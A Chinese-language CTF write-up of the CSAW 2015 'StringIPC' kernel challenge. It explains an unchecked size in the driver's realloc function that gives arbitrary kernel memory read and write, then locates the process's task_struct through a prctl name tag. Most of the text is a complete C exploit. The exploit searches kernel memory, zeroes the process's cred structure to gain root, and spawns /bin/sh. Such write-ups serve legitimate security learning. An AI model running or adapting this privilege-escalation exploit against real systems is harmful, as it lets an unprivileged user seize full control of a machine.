CSAW-2015-StringIPC
首先,查看一下啓動腳本,發現沒有開smap、smep、kaslr
- qemu-system-x86_64 \
- -m 512 \
- -kernel ./bzImage \
- -initrd ./rootfs.cpio \
- -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
- -nographic \
- -s \
- -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
查看一下內核版本,爲4.4.x
然後,我們分析一下StringIPC.ko驅動文件,題目有提供給我們源代碼,那麼我們直接分析源代碼
realloc_ipc_channel函數裏,沒有對new_size進行檢查,如果new_size爲-1的話,程序將krealloc(0),與glibc的堆不同的是,如果kmalloc(0)/kerallloc(0),返回的地址就是0x10。
而後面又將buf_size設置爲new_size,如果new_size是-1,由於是無符號數,並且堆地址爲0x10,那麼我們就能實現任意地址讀寫。
寫數據的時候,需要注意的是使用了strncpy_from_user函數,因此數據中如果遇到0,就截斷了,因此,在寫的時候,我們應該逐字節寫入。
能實現任意地址讀寫,那麼最簡單的方法就是在內存裏搜索cred結構,然後篡改,從而提權。那麼,如何可靠的在內存中查找cred結構能?
Linux的進程有一個這樣的結構體(太長部分省略)
- struct task_struct {
- ...
- /* Objective and real subjective task credentials (COW): */
- const struct cred __rcu *real_cred;
- /* Effective (overridable) subjective task credentials (COW): */
- const struct cred __rcu *cred;
- /*
- * executable name, excluding path.
- *
- * - normally initialized setup_new_exec()
- * - access it with [gs]et_task_comm()
- * - lock it with task_lock()
- */
- char comm[TASK_COMM_LEN];
- ...
- }
我們看到了,在task_struct結構體裏有cred的指針,我們只要得到了cred的指針的值,那麼我們就能利用任意地址讀寫來找到cred,進而修改。那麼如何找到cred的指針呢?我們注意到,在cred指針下方,有一個comm字符數組,這個字符串表示線程的名字,其內容可以通過linux的prctl(PR_SET_NAME,target);來設置指定的值。那麼,我們設置一個複雜的長度不超過16字節的字符串作爲標記,然後,在內存裏搜索這個標記,如果搜索到了,就可以確定這個位置前面就是cred指針。
爲了提高搜索的效率,我們還要確定一下搜索的範圍,linux kernel的內存映射圖如下
0xffffffffffffffff ---+-----------+-----------------------------------------------+-------------+
| | |+++++++++++++|
8M | | unused hole |+++++++++++++|
| | |+++++++++++++|
0xffffffffff7ff000 ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
1M | | |+++++++++++++|
0xffffffffff600000 ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
548K | | vsyscalls |+++++++++++++|
0xffffffffff577000 ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
5M | | hole |+++++++++++++|
0xffffffffff000000 ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
| | |+++++++++++++|
1520M | | module mapping space (MODULES_LEN) |+++++++++++++|
| | |+++++++++++++|
0xffffffffa0000000 ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
| | |+++++++++++++|
512M | | kernel text mapping, from phys 0 |+++++++++++++|
| | |+++++++++++++|
0xffffffff80000000 ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
2G | | hole |+++++++++++++|
0xffffffff00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
64G | | EFI region mapping space |+++++++++++++|
0xffffffef00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
444G | | hole |+++++++++++++|
0xffffff8000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | %esp fixup stacks |+++++++++++++|
0xffffff0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
3T | | hole |+++++++++++++|
0xfffffc0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | kasan shadow memory (16TB) |+++++++++++++|
0xffffec0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffeb0000000000 ---+-----------+-----------------------------------------------| kernel space|
1T | | virtual memory map for all of struct pages |+++++++++++++|
0xffffea0000000000 ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffe90000000000 ---+-----------+------------| VMALLOC_END |------------------|+++++++++++++|
32T | | vmalloc/ioremap (1 << VMALLOC_SIZE_TB) |+++++++++++++|
0xffffc90000000000 ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffc80000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
64T | | direct mapping of all phys. memory |+++++++++++++|
| | (1 << MAX_PHYSMEM_BITS) |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
| | |+++++++++++++|
8T | | guard hole, reserved for hypervisor |+++++++++++++|
| | |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
|-----------| |-------------|
|-----------| hole caused by [48:63] sign extension |-------------|
|-----------| |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
PAGE_SIZE | | guard page |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
| | | user space |
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
128T | | different per mm |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+
我們注意到,在0xffff880000000000——0xffffc80000000000區域,是堆的分配區域,因此,我們只需要搜索這段內存,即可找到task_struct結構,進而找到cred結構。
我們的exploit.c程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
struct alloc_channel_args {
size_t buf_size;
int id;
};
struct shrink_channel_args {
int id;
size_t size;
};
struct read_channel_args {
int id;
char *buf;
size_t count;
};
struct write_channel_args {
int id;
char *buf;
size_t count;
};
struct seek_channel_args {
int id;
loff_t index;
int whence;
};
void errExit(char *msg) {
puts(msg);
exit(-1);
}
//驅動的文件描述符
int fd;
//初始化驅動
void initFD() {
fd = open("/dev/csaw",O_RDWR);
if (fd < 0) {
errExit("[-] open file error!!");
}
}
//申請一個channel,返回id
int alloc_channel(size_t size) {
struct alloc_channel_args args;
args.buf_size = size;
args.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
if (args.id == -1) {
errExit("[-]alloc_channel error!!");
}
return args.id;
}
//改變channel的大小
void shrink_channel(int id,size_t size) {
struct shrink_channel_args args;
args.id = id;
args.size = size;
ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {
struct seek_channel_args args;
args.id = id;
args.index = offset;
args.whence = whence;
ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//讀取數據
void read_channel(int id,char *buf,size_t count) {
struct read_channel_args args;
args.id = id;
args.buf = buf;
args.count = count;
ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//寫數據
void write_channel(int id,char *buf,size_t count) {
struct write_channel_args args;
args.id = id;
args.buf = buf;
args.count = count;
ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//任意地址讀
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
seek_channel(id,addr-0x10,SEEK_SET);
read_channel(id,buf,count);
}
//任意地址寫
//由於題目中使用了strncpy_from_user,遇到0就會截斷,因此,我們逐字節寫入
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
for (int i=0;i<count;i++) {
seek_channel(id,addr+i-0x10,SEEK_SET);
write_channel(id,buf+i,1);
}
}
char root_cred[28] = {0};
int main() {
//通過prctl給當前進程的task結構設置一個標記,方便我們在內存中搜索時可以作爲依據
//char tag[16] = "thisisatag";
char *buf = (char *)calloc(1,0x1000);
//prctl(PR_SET_NAME,tag);
char target[16];
strcpy(target,"try2findmesauce");
prctl(PR_SET_NAME,target);
initFD();
//申請一個channel,大小0x100
int id = alloc_channel(0x100);
//改變channel大小,形成漏洞,實現任意地址讀寫
shrink_channel(id,0x101);
size_t cred_addr = -1;
//task和cred結構的範圍在0xffff880000000000~0xffffc80000000000
for (size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000) {
//每次讀取0x1000的字節
arbitrary_read(id,buf,addr,0x1000);
//搜索當前讀出的數據裏是否有我們的標記
size_t tag_ptr = memmem(buf, 0x1000,target,16);
if (tag_ptr) {
cred_addr = *(size_t *)(tag_ptr - 0x8);
size_t real_cred_addr = *(size_t *)(tag_ptr - 0x10);
if ((cred_addr & 0xff00000000000000) && cred_addr == real_cred_addr) {
printf("[+] found cred_ptr at 0x%lx\n",addr + tag_ptr - (size_t)buf);
printf("[+] cred_addr at 0x%lx\n",cred_addr);
break;
}
}
}
if (cred_addr == -1) {
errExit("[-]can't find cred!!");
}
arbitrary_write(id,root_cred,cred_addr,28);
if (getuid() == 0) {
printf("[+]rooted!!\n");
system("/bin/sh");
} else {
errExit("[-]root fail!!\n");
}
return 0;
}